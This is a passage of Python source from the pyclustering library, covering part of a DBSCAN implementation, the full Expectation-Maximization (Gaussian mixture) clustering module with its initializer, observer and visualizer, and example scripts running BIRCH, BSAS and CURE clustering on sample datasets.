""" return self.__noise def get_cluster_encoding(self): """! @brief Returns clustering result representation type that indicate how clusters are encoded. @return (type_encoding) Clustering result representation. @see get_clusters() """ return type_encoding.CLUSTER_INDEX_LIST_SEPARATION def __verify_arguments(self): """! @brief Verify input parameters for the algorithm and throw exception in case of incorrectness. """ if len(self.__pointer_data) == 0: raise ValueError("Input data is empty (size: '%d')." % len(self.__pointer_data)) if self.__eps < 0: raise ValueError("Connectivity radius (current value: '%d') should be greater or equal to 0." % self.__eps) def __create_neighbor_searcher(self, data_type): """! @brief Returns neighbor searcher in line with data type. @param[in] data_type (string): Data type (points or distance matrix). """ if data_type == 'points': return self.__neighbor_indexes_points elif data_type == 'distance_matrix': return self.__neighbor_indexes_distance_matrix else: raise TypeError("Unknown type of data is specified '%s'" % data_type) def __expand_cluster(self, index_point): """! @brief Expands cluster from specified point in the input data space. @param[in] index_point (list): Index of a point from the data. @return (list) Return tuple of list of indexes that belong to the same cluster and list of points that are marked as noise: (cluster, noise), or None if nothing has been expanded. """ cluster = None self.__visited[index_point] = True neighbors = self.__neighbor_searcher(index_point) if len(neighbors) >= self.__neighbors: cluster = [index_point] self.__belong[index_point] = True for i in neighbors: if self.__visited[i] is False: self.__visited[i] = True next_neighbors = self.__neighbor_searcher(i) if len(next_neighbors) >= self.__neighbors: neighbors += [k for k in next_neighbors if ( (k in neighbors) == False) and k != index_point] if self.__belong[i] is False: cluster.append(i) self.__belong[i] = True return cluster def __neighbor_indexes_points(self, index_point): """! @brief Return neighbors of the specified object in case of sequence of points. @param[in] index_point (uint): Index point whose neighbors are should be found. @return (list) List of indexes of neighbors in line the connectivity radius. """ kdnodes = self.__kdtree.find_nearest_dist_nodes(self.__pointer_data[index_point], self.__eps) return [node_tuple[1].payload for node_tuple in kdnodes if node_tuple[1].payload != index_point] def __neighbor_indexes_distance_matrix(self, index_point): """! @brief Return neighbors of the specified object in case of distance matrix. @param[in] index_point (uint): Index point whose neighbors are should be found. @return (list) List of indexes of neighbors in line the connectivity radius. """ distances = self.__pointer_data[index_point] return [index_neighbor for index_neighbor in range(len(distances)) if ((distances[index_neighbor] <= self.__eps) and (index_neighbor != index_point))] def __initialize_ccore_state(self, ccore): """! @brief Initializes C++ pyclustering state. @details Check if it is requested and if it is available for the current platform. These information is used to set status of C++ pyclustering library. @param[in] ccore (bool): """ self.__ccore = ccore if self.__ccore: self.__ccore = ccore_library.workable() ``` #### File: pyclustering/cluster/ema.py ```python import numpy import random from pyclustering.cluster import cluster_visualizer from pyclustering.cluster.center_initializer import kmeans_plusplus_initializer from pyclustering.cluster.kmeans import kmeans from pyclustering.utils import pi, calculate_ellipse_description, euclidean_distance_square from enum import IntEnum import matplotlib.pyplot as plt import matplotlib.animation as animation from matplotlib import patches def gaussian(data, mean, covariance): """! @brief Calculates gaussian for dataset using specified mean (mathematical expectation) and variance or covariance in case multi-dimensional data. @param[in] data (list): Data that is used for gaussian calculation. @param[in] mean (float|numpy.array): Mathematical expectation used for calculation. @param[in] covariance (float|numpy.array): Variance or covariance matrix for calculation. @return (list) Value of gaussian function for each point in dataset. """ dimension = float(len(data[0])) if dimension != 1.0: inv_variance = numpy.linalg.pinv(covariance) else: inv_variance = 1.0 / covariance divider = (pi * 2.0) ** (dimension / 2.0) * numpy.sqrt(numpy.linalg.norm(covariance)) if divider != 0.0: right_const = 1.0 / divider else: right_const = float('inf') result = [] for point in data: mean_delta = point - mean point_gaussian = right_const * numpy.exp( -0.5 * mean_delta.dot(inv_variance).dot(numpy.transpose(mean_delta)) ) result.append(point_gaussian) return result class ema_init_type(IntEnum): """! @brief Enumeration of initialization types for Expectation-Maximization algorithm. """ ## Means are randomly taken from input dataset and variance or covariance is calculated based on ## spherical data that belongs to the chosen means. RANDOM_INITIALIZATION = 0 ## Two step initialization. The first is calculation of initial centers using K-Means++ method. ## The second is K-Means clustering using obtained centers in the first step. Obtained clusters ## and its centers are used for calculation of variance (covariance in case of multi-dimensional) ## data. KMEANS_INITIALIZATION = 1 class ema_initializer(): """! @brief Provides services for preparing initial means and covariances for Expectation-Maximization algorithm. @details Initialization strategy is defined by enumerator 'ema_init_type': random initialization and kmeans with kmeans++ initialization. Here an example of initialization using kmeans strategy: @code from pyclustering.utils import read_sample from pyclustering.samples.definitions import FAMOUS_SAMPLES from pyclustering.cluster.ema import ema_initializer sample = read_sample(FAMOUS_SAMPLES.SAMPLE_OLD_FAITHFUL) amount_clusters = 2 initial_means, initial_covariance = ema_initializer(sample, amount_clusters).initialize() print(initial_means) print(initial_covariance) @endcode """ __MAX_GENERATION_ATTEMPTS = 10 def __init__(self, sample, amount): """! @brief Constructs EM initializer. @param[in] sample (list): Data that will be used by the EM algorithm. @param[in] amount (uint): Amount of clusters that should be allocated by the EM algorithm. """ self.__sample = sample self.__amount = amount def initialize(self, init_type = ema_init_type.KMEANS_INITIALIZATION): """! @brief Calculates initial parameters for EM algorithm: means and covariances using specified strategy. @param[in] init_type (ema_init_type): Strategy for initialization. @return (float|list, float|numpy.array) Initial means and variance (covariance matrix in case multi-dimensional data). """ if init_type == ema_init_type.KMEANS_INITIALIZATION: return self.__initialize_kmeans() elif init_type == ema_init_type.RANDOM_INITIALIZATION: return self.__initialize_random() raise NameError("Unknown type of EM algorithm initialization is specified.") def __calculate_initial_clusters(self, centers): """! @brief Calculate Euclidean distance to each point from the each cluster. @brief Nearest points are captured by according clusters and as a result clusters are updated. @return (list) updated clusters as list of clusters. Each cluster contains indexes of objects from data. """ clusters = [[] for _ in range(len(centers))] for index_point in range(len(self.__sample)): index_optim, dist_optim = -1, 0.0 for index in range(len(centers)): dist = euclidean_distance_square(self.__sample[index_point], centers[index]) if (dist < dist_optim) or (index == 0): index_optim, dist_optim = index, dist clusters[index_optim].append(index_point) return clusters def __calculate_initial_covariances(self, initial_clusters): covariances = [] for initial_cluster in initial_clusters: if len(initial_cluster) > 1: cluster_sample = [self.__sample[index_point] for index_point in initial_cluster] covariances.append(numpy.cov(cluster_sample, rowvar=False)) else: dimension = len(self.__sample[0]) covariances.append(numpy.zeros((dimension, dimension)) + random.random() / 10.0) return covariances def __initialize_random(self): initial_means = [] for _ in range(self.__amount): mean = self.__sample[ random.randint(0, len(self.__sample)) - 1 ] attempts = 0 while (mean in initial_means) and (attempts < ema_initializer.__MAX_GENERATION_ATTEMPTS): mean = self.__sample[ random.randint(0, len(self.__sample)) - 1 ] attempts += 1 if attempts == ema_initializer.__MAX_GENERATION_ATTEMPTS: mean = [ value + (random.random() - 0.5) * value * 0.2 for value in mean ] initial_means.append(mean) initial_clusters = self.__calculate_initial_clusters(initial_means) initial_covariance = self.__calculate_initial_covariances(initial_clusters) return initial_means, initial_covariance def __initialize_kmeans(self): initial_centers = kmeans_plusplus_initializer(self.__sample, self.__amount).initialize() kmeans_instance = kmeans(self.__sample, initial_centers, ccore = True) kmeans_instance.process() means = kmeans_instance.get_centers() covariances = [] initial_clusters = kmeans_instance.get_clusters() for initial_cluster in initial_clusters: if len(initial_cluster) > 1: cluster_sample = [ self.__sample[index_point] for index_point in initial_cluster ] covariances.append(numpy.cov(cluster_sample, rowvar=False)) else: dimension = len(self.__sample[0]) covariances.append(numpy.zeros((dimension, dimension)) + random.random() / 10.0) return means, covariances class ema_observer: """! @brief Observer of EM algorithm for collecting algorithm state on each step. @details It can be used to obtain whole picture about clustering process of EM algorithm. Allocated clusters, means and covariances are stored in observer on each step. Here an example of usage: @code from pyclustering.cluster.ema import ema, ema_observer from pyclustering.utils import read_sample from pyclustering.samples.definitions import SIMPLE_SAMPLES # Read data from text file. sample = read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE3) # Create EM observer. observer = ema_observer() # Create EM algorithm to allocated four clusters and pass observer to it. ema_instance = ema(sample, 4, observer=observer) # Run clustering process. ema_instance.process() # Print amount of steps that were done by the algorithm. print("EMA steps:", observer.get_iterations()) # Print evolution of means and covariances. print("Means evolution:", observer.get_evolution_means()) print("Covariances evolution:", observer.get_evolution_covariances()) # Print evolution of clusters. print("Clusters evolution:", observer.get_evolution_clusters()) # Print final clusters. print("Allocated clusters:", observer.get_evolution_clusters()[-1]) @endcode """ def __init__(self): """! @brief Initializes EM observer. """ self.__means_evolution = [] self.__covariances_evolution = [] self.__clusters_evolution = [] def __len__(self): """! @return (uint) Amount of iterations that were done by the EM algorithm. """ return len(self.__means_evolution) def get_iterations(self): """! @return (uint) Amount of iterations that were done by the EM algorithm. """ return len(self.__means_evolution) def get_evolution_means(self): """! @return (list) Mean of each cluster on each step of clustering. """ return self.__means_evolution def get_evolution_covariances(self): """! @return (list) Covariance matrix (or variance in case of one-dimensional data) of each cluster on each step of clustering. """ return self.__covariances_evolution def get_evolution_clusters(self): """! @return (list) Allocated clusters on each step of clustering. """ return self.__clusters_evolution def notify(self, means, covariances, clusters): """! @brief This method is used by the algorithm to notify observer about changes where the algorithm should provide new values: means, covariances and allocated clusters. @param[in] means (list): Mean of each cluster on currect step. @param[in] covariances (list): Covariances of each cluster on current step. @param[in] clusters (list): Allocated cluster on current step. """ self.__means_evolution.append(means) self.__covariances_evolution.append(covariances) self.__clusters_evolution.append(clusters) class ema_visualizer: """! @brief Visualizer of EM algorithm's results. @details Provides services for visualization of particular features of the algorithm, for example, in case of two-dimensional dataset it shows covariance ellipses. """ @staticmethod def show_clusters(clusters, sample, covariances, means, figure=None, display=True): """! @brief Draws clusters and in case of two-dimensional dataset draws their ellipses. @details Allocated figure by this method should be closed using `close()` method of this visualizer. @param[in] clusters (list): Clusters that were allocated by the algorithm. @param[in] sample (list): Dataset that were used for clustering. @param[in] covariances (list): Covariances of the clusters. @param[in] means (list): Means of the clusters. @param[in] figure (figure): If 'None' then new is figure is creater, otherwise specified figure is used for visualization. @param[in] display (bool): If 'True' then figure will be shown by the method, otherwise it should be shown manually using matplotlib function 'plt.show()'. @return (figure) Figure where clusters were drawn. """ visualizer = cluster_visualizer() visualizer.append_clusters(clusters, sample) if figure is None: figure = visualizer.show(display=False) else: visualizer.show(figure=figure, display=False) if len(sample[0]) == 2: ema_visualizer.__draw_ellipses(figure, visualizer, clusters, covariances, means) if display is True: plt.show() return figure @staticmethod def close(figure): """! @brief Closes figure object that was used or allocated by the visualizer. @param[in] figure (figure): Figure object that was used or allocated by the visualizer. """ plt.close(figure) @staticmethod def animate_cluster_allocation(data, observer, animation_velocity = 75, movie_fps = 1, save_movie = None): """! @brief Animates clustering process that is performed by EM algorithm. @param[in] data (list): Dataset that is used for clustering. @param[in] observer (ema_observer): EM observer that was used for collection information about clustering process. @param[in] animation_velocity (uint): Interval between frames in milliseconds (for run-time animation only). @param[in] movie_fps (uint): Defines frames per second (for rendering movie only). @param[in] save_movie (string): If it is specified then animation will be stored to file that is specified in this parameter. """ figure = plt.figure() def init_frame(): return frame_generation(0) def frame_generation(index_iteration): figure.clf() figure.suptitle("EM algorithm (iteration: " + str(index_iteration) +")", fontsize = 18, fontweight = 'bold') clusters = observer.get_evolution_clusters()[index_iteration] covariances = observer.get_evolution_covariances()[index_iteration] means = observer.get_evolution_means()[index_iteration] ema_visualizer.show_clusters(clusters, data, covariances, means, figure, False) figure.subplots_adjust(top=0.85) return [figure.gca()] iterations = len(observer) cluster_animation = animation.FuncAnimation(figure, frame_generation, iterations, interval = animation_velocity, init_func = init_frame, repeat_delay = 5000) if save_movie is not None: cluster_animation.save(save_movie, writer='ffmpeg', fps=movie_fps, bitrate=1500) else: plt.show() plt.close(figure) @staticmethod def __draw_ellipses(figure, visualizer, clusters, covariances, means): ax = figure.get_axes()[0] for index in range(len(clusters)): angle, width, height = calculate_ellipse_description(covariances[index]) color = visualizer.get_cluster_color(index, 0) ema_visualizer.__draw_ellipse(ax, means[index][0], means[index][1], angle, width, height, color) @staticmethod def __draw_ellipse(ax, x, y, angle, width, height, color): if (width > 0.0) and (height > 0.0): ax.plot(x, y, color=color, marker='x', markersize=6) ellipse = patches.Ellipse((x, y), width, height, alpha=0.2, angle=-angle, linewidth=2, fill=True, zorder=2, color=color) ax.add_patch(ellipse) class ema: """! @brief Expectation-Maximization clustering algorithm for Gaussian Mixture Model (GMM). @details The algorithm provides only clustering services (unsupervised learning). Here an example of data clustering process: @code from pyclustering.cluster.ema import ema, ema_visualizer from pyclustering.utils import read_sample from pyclustering.samples.definitions import FCPS_SAMPLES # Read data from text file. sample = read_sample(FCPS_SAMPLES.SAMPLE_LSUN) # Create EM algorithm to allocated four clusters. ema_instance = ema(sample, 3) # Run clustering process. ema_instance.process() # Get clustering results. clusters = ema_instance.get_clusters() covariances = ema_instance.get_covariances() means = ema_instance.get_centers() # Visualize obtained clustering results. ema_visualizer.show_clusters(clusters, sample, covariances, means) @endcode Here is clustering results of the Expectation-Maximization clustering algorithm where popular sample 'OldFaithful' was used. Initial random means and covariances were used in the example. The first step is presented on the left side of the figure and final result (the last step) is on the right side: @image html ema_old_faithful_clustering.png @see ema_visualizer @see ema_observer """ def __init__(self, data, amount_clusters, means=None, variances=None, observer=None, tolerance=0.00001, iterations=100): """! @brief Initializes Expectation-Maximization algorithm for cluster analysis. @param[in] data (list): Dataset that should be analysed and where each point (object) is represented by the list of coordinates. @param[in] amount_clusters (uint): Amount of clusters that should be allocated. @param[in] means (list): Initial means of clusters (amount of means should be equal to amount of clusters for allocation). If this parameter is 'None' then K-Means algorithm with K-Means++ method will be used for initialization by default. @param[in] variances (list): Initial cluster variances (or covariances in case of multi-dimensional data). Amount of covariances should be equal to amount of clusters that should be allocated. If this parameter is 'None' then K-Means algorithm with K-Means++ method will be used for initialization by default. @param[in] observer (ema_observer): Observer for gathering information about clustering process. @param[in] tolerance (float): Defines stop condition of the algorithm (when difference between current and previous log-likelihood estimation is less then 'tolerance' then clustering is over). @param[in] iterations (uint): Additional stop condition parameter that defines maximum number of steps that can be performed by the algorithm during clustering process. """ self.__data = numpy.array(data) self.__amount_clusters = amount_clusters self.__tolerance = tolerance self.__iterations = iterations self.__observer = observer self.__means = means self.__variances = variances self.__verify_arguments() if (means is None) or (variances is None): self.__means, self.__variances = ema_initializer(data, amount_clusters).initialize(ema_init_type.KMEANS_INITIALIZATION) if len(self.__means) != amount_clusters: self.__amount_clusters = len(self.__means) self.__rc = [ [0.0] * len(self.__data) for _ in range(amount_clusters) ] self.__pic = [1.0] * amount_clusters self.__clusters = [] self.__gaussians = [ [] for _ in range(amount_clusters) ] self.__stop = False def process(self): """! @brief Run clustering process of the algorithm. @return (ema) Returns itself (EMA instance). """ previous_likelihood = -200000 current_likelihood = -100000 current_iteration = 0 while(self.__stop is False) and (abs(previous_likelihood - current_likelihood) > self.__tolerance) and (current_iteration < self.__iterations): self.__expectation_step() self.__maximization_step() current_iteration += 1 self.__extract_clusters() self.__notify() previous_likelihood = current_likelihood current_likelihood = self.__log_likelihood() self.__stop = self.__get_stop_condition() self.__normalize_probabilities() return self def get_clusters(self): """! @return (list) Allocated clusters where each cluster is represented by list of indexes of points from dataset, for example, two cluster may have following representation [[0, 1, 4], [2, 3, 5, 6]]. """ return self.__clusters def get_centers(self): """! @return (list) Corresponding centers (means) of clusters. """ return self.__means def get_covariances(self): """! @return (list) Corresponding variances (or covariances in case of multi-dimensional data) of clusters. """ return self.__variances def get_probabilities(self): """! @brief Returns 2-dimensional list with belong probability of each object from data to cluster correspondingly, where that first index is for cluster and the second is for point. @code # Get belong probablities probabilities = ema_instance.get_probabilities(); # Show porbability of the fifth element in the first and in the second cluster index_point = 5; print("Probability in the first cluster:", probabilities[0][index_point]); print("Probability in the first cluster:", probabilities[1][index_point]); @endcode @return (list) 2-dimensional list with belong probability of each object from data to cluster. """ return self.__rc def __erase_empty_clusters(self): clusters, means, variances, pic, gaussians, rc = [], [], [], [], [], [] for index_cluster in range(len(self.__clusters)): if len(self.__clusters[index_cluster]) > 0: clusters.append(self.__clusters[index_cluster]) means.append(self.__means[index_cluster]) variances.append(self.__variances[index_cluster]) pic.append(self.__pic[index_cluster]) gaussians.append(self.__gaussians[index_cluster]) rc.append(self.__rc[index_cluster]) if len(self.__clusters) != len(clusters): self.__clusters, self.__means, self.__variances, self.__pic = clusters, means, variances, pic self.__gaussians, self.__rc = gaussians, rc self.__amount_clusters = len(self.__clusters) def __notify(self): if self.__observer is not None: self.__observer.notify(self.__means, self.__variances, self.__clusters) def __extract_clusters(self): self.__clusters = [[] for _ in range(self.__amount_clusters)] for index_point in range(len(self.__data)): candidates = [] for index_cluster in range(self.__amount_clusters): candidates.append((index_cluster, self.__rc[index_cluster][index_point])) index_winner = max(candidates, key=lambda candidate: candidate[1])[0] self.__clusters[index_winner].append(index_point) self.__erase_empty_clusters() def __log_likelihood(self): likelihood = 0.0 for index_point in range(len(self.__data)): particle = 0.0 for index_cluster in range(self.__amount_clusters): particle += self.__pic[index_cluster] * self.__gaussians[index_cluster][index_point] if particle > 0.0: likelihood += numpy.log(particle) return likelihood def __probabilities(self, index_cluster, index_point): divider = 0.0 for i in range(self.__amount_clusters): divider += self.__pic[i] * self.__gaussians[i][index_point] if (divider != 0.0) and (divider != float('inf')): return self.__pic[index_cluster] * self.__gaussians[index_cluster][index_point] / divider return 1.0 def __expectation_step(self): self.__gaussians = [ [] for _ in range(self.__amount_clusters) ] for index in range(self.__amount_clusters): self.__gaussians[index] = gaussian(self.__data, self.__means[index], self.__variances[index]) self.__rc = [ [0.0] * len(self.__data) for _ in range(self.__amount_clusters) ] for index_cluster in range(self.__amount_clusters): for index_point in range(len(self.__data)): self.__rc[index_cluster][index_point] = self.__probabilities(index_cluster, index_point) def __maximization_step(self): self.__pic = [] self.__means = [] self.__variances = [] amount_impossible_clusters = 0 for index_cluster in range(self.__amount_clusters): mc = numpy.sum(self.__rc[index_cluster]) if mc == 0.0: amount_impossible_clusters += 1 continue self.__pic.append( mc / len(self.__data) ) self.__means.append( self.__update_mean(self.__rc[index_cluster], mc) ) self.__variances.append( self.__update_covariance(self.__means[-1], self.__rc[index_cluster], mc) ) self.__amount_clusters -= amount_impossible_clusters def __get_stop_condition(self): for covariance in self.__variances: if numpy.linalg.norm(covariance) == 0.0: return True return False def __update_covariance(self, means, rc, mc): covariance = 0.0 for index_point in range(len(self.__data)): deviation = numpy.array([self.__data[index_point] - means]) covariance += rc[index_point] * deviation.T.dot(deviation) covariance = covariance / mc return covariance def __update_mean(self, rc, mc): mean = 0.0 for index_point in range(len(self.__data)): mean += rc[index_point] * self.__data[index_point] mean = mean / mc return mean def __normalize_probabilities(self): for index_point in range(len(self.__data)): probability = 0.0 for index_cluster in range(len(self.__clusters)): probability += self.__rc[index_cluster][index_point] if abs(probability - 1.0) > 0.000001: self.__normalize_probability(index_point, probability) def __normalize_probability(self, index_point, probability): if probability == 0.0: return normalization = 1.0 / probability for index_cluster in range(len(self.__clusters)): self.__rc[index_cluster][index_point] *= normalization def __verify_arguments(self): """! @brief Verify input parameters for the algorithm and throw exception in case of incorrectness. """ if len(self.__data) == 0: raise ValueError("Input data is empty (size: '%d')." % len(self.__data)) if self.__amount_clusters < 1: raise ValueError("Amount of clusters (current value '%d') should be greater or equal to 1." % self.__amount_clusters) ``` #### File: cluster/examples/birch_examples.py ```python from pyclustering.cluster import cluster_visualizer from pyclustering.cluster.birch import birch from pyclustering.container.cftree import measurement_type from pyclustering.utils import read_sample from pyclustering.samples.definitions import SIMPLE_SAMPLES, FCPS_SAMPLES def template_clustering(number_clusters, path, branching_factor=50, max_node_entries=100, initial_diameter=0.5, type_measurement=measurement_type.CENTROID_EUCLIDEAN_DISTANCE, entry_size_limit=200, diameter_multiplier=1.5, show_result=True): print("Sample: ", path) sample = read_sample(path) birch_instance = birch(sample, number_clusters, branching_factor, max_node_entries, initial_diameter, type_measurement, entry_size_limit, diameter_multiplier) birch_instance.process() clusters = birch_instance.get_clusters() if show_result is True: visualizer = cluster_visualizer() visualizer.append_clusters(clusters, sample) visualizer.show() return sample, clusters def cluster_sample1(): template_clustering(2, SIMPLE_SAMPLES.SAMPLE_SIMPLE1) template_clustering(2, SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 5, 5, 0.1, measurement_type.CENTROID_EUCLIDEAN_DISTANCE, 2) # only two entries available def cluster_sample2(): template_clustering(3, SIMPLE_SAMPLES.SAMPLE_SIMPLE2) def cluster_sample3(): template_clustering(4, SIMPLE_SAMPLES.SAMPLE_SIMPLE3) def cluster_sample4(): template_clustering(5, SIMPLE_SAMPLES.SAMPLE_SIMPLE4) def cluster_sample5(): template_clustering(4, SIMPLE_SAMPLES.SAMPLE_SIMPLE5) def cluster_sample7(): template_clustering(2, SIMPLE_SAMPLES.SAMPLE_SIMPLE7) def cluster_sample8(): template_clustering(4, SIMPLE_SAMPLES.SAMPLE_SIMPLE8) def cluster_elongate(): template_clustering(2, SIMPLE_SAMPLES.SAMPLE_ELONGATE) def cluster_lsun(): template_clustering(3, FCPS_SAMPLES.SAMPLE_LSUN) def cluster_lsun_rebuilt(): template_clustering(3, FCPS_SAMPLES.SAMPLE_LSUN, entry_size_limit=20, diameter_multiplier=1.5) def cluster_target(): template_clustering(6, FCPS_SAMPLES.SAMPLE_TARGET) def cluster_two_diamonds(): template_clustering(2, FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS) def cluster_wing_nut(): template_clustering(2, FCPS_SAMPLES.SAMPLE_WING_NUT) def cluster_chainlink(): template_clustering(2, FCPS_SAMPLES.SAMPLE_CHAINLINK) def cluster_hepta(): template_clustering(7, FCPS_SAMPLES.SAMPLE_HEPTA) def cluster_tetra(): template_clustering(4, FCPS_SAMPLES.SAMPLE_TETRA) def cluster_engy_time(): template_clustering(2, FCPS_SAMPLES.SAMPLE_ENGY_TIME) def experiment_execution_time(ccore=False): template_clustering(2, SIMPLE_SAMPLES.SAMPLE_SIMPLE1) template_clustering(3, SIMPLE_SAMPLES.SAMPLE_SIMPLE2) template_clustering(4, SIMPLE_SAMPLES.SAMPLE_SIMPLE3) template_clustering(5, SIMPLE_SAMPLES.SAMPLE_SIMPLE4) template_clustering(4, SIMPLE_SAMPLES.SAMPLE_SIMPLE5) template_clustering(2, SIMPLE_SAMPLES.SAMPLE_ELONGATE) template_clustering(3, FCPS_SAMPLES.SAMPLE_LSUN) template_clustering(6, FCPS_SAMPLES.SAMPLE_TARGET) template_clustering(2, FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS) template_clustering(2, FCPS_SAMPLES.SAMPLE_WING_NUT) template_clustering(2, FCPS_SAMPLES.SAMPLE_CHAINLINK) template_clustering(7, FCPS_SAMPLES.SAMPLE_HEPTA) template_clustering(4, FCPS_SAMPLES.SAMPLE_TETRA) template_clustering(2, FCPS_SAMPLES.SAMPLE_ATOM) def display_fcps_clustering_results(): (lsun, lsun_clusters) = template_clustering(3, FCPS_SAMPLES.SAMPLE_LSUN, show_result=False) (target, target_clusters) = template_clustering(6, FCPS_SAMPLES.SAMPLE_TARGET, show_result=False) (two_diamonds, two_diamonds_clusters) = template_clustering(2, FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, show_result=False) (wing_nut, wing_nut_clusters) = template_clustering(2, FCPS_SAMPLES.SAMPLE_WING_NUT, show_result=False) (chainlink, chainlink_clusters) = template_clustering(2, FCPS_SAMPLES.SAMPLE_CHAINLINK, show_result=False) (hepta, hepta_clusters) = template_clustering(7, FCPS_SAMPLES.SAMPLE_HEPTA, show_result=False) (tetra, tetra_clusters) = template_clustering(4, FCPS_SAMPLES.SAMPLE_TETRA, show_result=False) (atom, atom_clusters) = template_clustering(2, FCPS_SAMPLES.SAMPLE_ATOM, show_result=False) visualizer = cluster_visualizer(8, 4) visualizer.append_clusters(lsun_clusters, lsun, 0) visualizer.append_clusters(target_clusters, target, 1) visualizer.append_clusters(two_diamonds_clusters, two_diamonds, 2) visualizer.append_clusters(wing_nut_clusters, wing_nut, 3) visualizer.append_clusters(chainlink_clusters, chainlink, 4) visualizer.append_clusters(hepta_clusters, hepta, 5) visualizer.append_clusters(tetra_clusters, tetra, 6) visualizer.append_clusters(atom_clusters, atom, 7) visualizer.show() cluster_sample1() cluster_sample2() cluster_sample3() cluster_sample4() cluster_sample5() cluster_sample7() cluster_sample8() cluster_elongate() cluster_lsun() cluster_lsun_rebuilt() cluster_target() cluster_two_diamonds() cluster_wing_nut() cluster_chainlink() cluster_hepta() cluster_tetra() cluster_engy_time() experiment_execution_time(True) # C++ code + Python env. display_fcps_clustering_results() ``` #### File: cluster/examples/bsas_examples.py ```python from pyclustering.cluster import cluster_visualizer; from pyclustering.cluster.bsas import bsas, bsas_visualizer; from pyclustering.samples.definitions import SIMPLE_SAMPLES; from pyclustering.utils import read_sample; from pyclustering.utils.metric import distance_metric, type_metric; def template_clustering(path, amount, threshold, **kwargs): metric = kwargs.get('metric', distance_metric(type_metric.EUCLIDEAN_SQUARE)); ccore = kwargs.get('ccore', False); draw = kwargs.get('draw', True); sample = read_sample(path); print("Sample: ", path); bsas_instance = bsas(sample, amount, threshold, ccore=ccore, metric=metric); bsas_instance.process(); clusters = bsas_instance.get_clusters(); representatives = bsas_instance.get_representatives(); if draw is True: bsas_visualizer.show_clusters(sample, clusters, representatives); def cluster_sample1(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, 1.0); def cluster_sample2(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 3, 1.0); def cluster_sample3(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 4, 1.0); def cluster_sample4(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE4, 5, 1.0); def cluster_sample5(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 4, 1.0); def cluster_sample6(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE6, 2, 1.0); def cluster_elongate(): template_clustering(SIMPLE_SAMPLES.SAMPLE_ELONGATE, 2, 1.0); cluster_sample1(); cluster_sample2(); cluster_sample3(); cluster_sample4(); cluster_sample5(); cluster_sample6(); cluster_elongate(); ``` #### File: cluster/examples/cure_examples.py ```python from pyclustering.utils import read_sample from pyclustering.utils import timedcall from pyclustering.samples.definitions import SIMPLE_SAMPLES from pyclustering.samples.definitions import FCPS_SAMPLES from pyclustering.cluster import cluster_visualizer from pyclustering.cluster.cure import cure def template_clustering(number_clusters, path, number_represent_points=5, compression=0.5, draw=True, ccore_flag=True): sample = read_sample(path) cure_instance = cure(sample, number_clusters, number_represent_points, compression, ccore_flag) (ticks, _) = timedcall(cure_instance.process) clusters = cure_instance.get_clusters() representors = cure_instance.get_representors() means = cure_instance.get_means() print("Sample: ", path, "\t\tExecution time: ", ticks, "\n") #print([len(cluster) for cluster in clusters]) if draw is True: visualizer = cluster_visualizer() visualizer.append_clusters(clusters, sample) for cluster_index in range(len(clusters)): visualizer.append_cluster_attribute(0, cluster_index, representors[cluster_index], '*', 10) visualizer.append_cluster_attribute(0, cluster_index, [ means[cluster_index] ], 'o') visualizer.show() def cluster_sample1(): template_clustering(2, SIMPLE_SAMPLES.SAMPLE_SIMPLE1) def cluster_sample2(): template_clustering(3, SIMPLE_SAMPLES.SAMPLE_SIMPLE2) def cluster_sample3(): template_clustering(4, SIMPLE_SAMPLES.SAMPLE_SIMPLE3) def cluster_sample4(): template_clustering(5, SIMPLE_SAMPLES.SAMPLE_SIMPLE4) def cluster_sample5(): template_clustering(4, SIMPLE_SAMPLES.SAMPLE_SIMPLE5) def cluster_sample6(): template_clustering(2, SIMPLE_SAMPLES.SAMPLE_SIMPLE6) def cluster_elongate(): template_clustering(2, SIMPLE_SAMPLES.SAMPLE_ELONGATE) def cluster_lsun(): template_clustering(3, FCPS_SAMPLES.SAMPLE_LSUN, 5, 0.3) def cluster_target(): template_clustering(6, FCPS_SAMPLES.SAMPLE_TARGET, 10, 0.3) def cluster_two_diamonds(): template_clustering(2, FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, 5, 0.3) def cluster_wing_nut(ccore_flag=True): template_clustering(2, FCPS_SAMPLES.SAMPLE_WING_NUT, 4, 0.3, ccore_flag=ccore_flag) def cluster_chainlink(): template_clustering(2, FCPS_SAMPLES.SAMPLE_CHAINLINK, 30, 0.2) def cluster_hepta(): template_clustering(7, FCPS_SAMPLES.SAMPLE_HEPTA) def cluster_tetra(): template_clustering(4, FCPS_SAMPLES.SAMPLE_TETRA) def cluster_engy_time(): template_clustering(2, FCPS_SAMPLES.SAMPLE_ENGY_TIME, 50, 0.5) def cluster_golf_ball(): template_clustering(1, FCPS_SAMPLES.SAMPLE_GOLF_BALL) def cluster_atom(): "Impossible to obtain parameters that satisfy us, it seems to me that compression = 0.2 is key parameter here, because results of clustering doesn't depend on number of represented points, except 0." "Thus the best parameters is following: number of points for representation: [5, 400]; compression: [0.2, 0.204]" "Results of clustering is not so dramatically, but clusters are not allocated properly" template_clustering(2, FCPS_SAMPLES.SAMPLE_ATOM, 20, 0.2) def experiment_execution_time(draw, ccore): template_clustering(3, FCPS_SAMPLES.SAMPLE_LSUN, 5, 0.3, draw, ccore) template_clustering(6, FCPS_SAMPLES.SAMPLE_TARGET, 10, 0.3, draw, ccore) template_clustering(2, FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, 5, 0.3, draw, ccore) template_clustering(2, FCPS_SAMPLES.SAMPLE_WING_NUT, 1, 1, draw, ccore) template_clustering(2, FCPS_SAMPLES.SAMPLE_CHAINLINK, 5, 0.5, draw, ccore) template_clustering(4, FCPS_SAMPLES.SAMPLE_TETRA, 5, 0.5, draw, ccore) template_clustering(7, FCPS_SAMPLES.SAMPLE_HEPTA, 5, 0.5, draw, ccore) template_clustering(2, FCPS_SAMPLES.SAMPLE_ATOM, 20, 0.2) cluster_sample1() cluster_sample2() cluster_sample3() cluster_sample4() cluster_sample5() cluster_sample6() cluster_elongate() cluster_lsun() 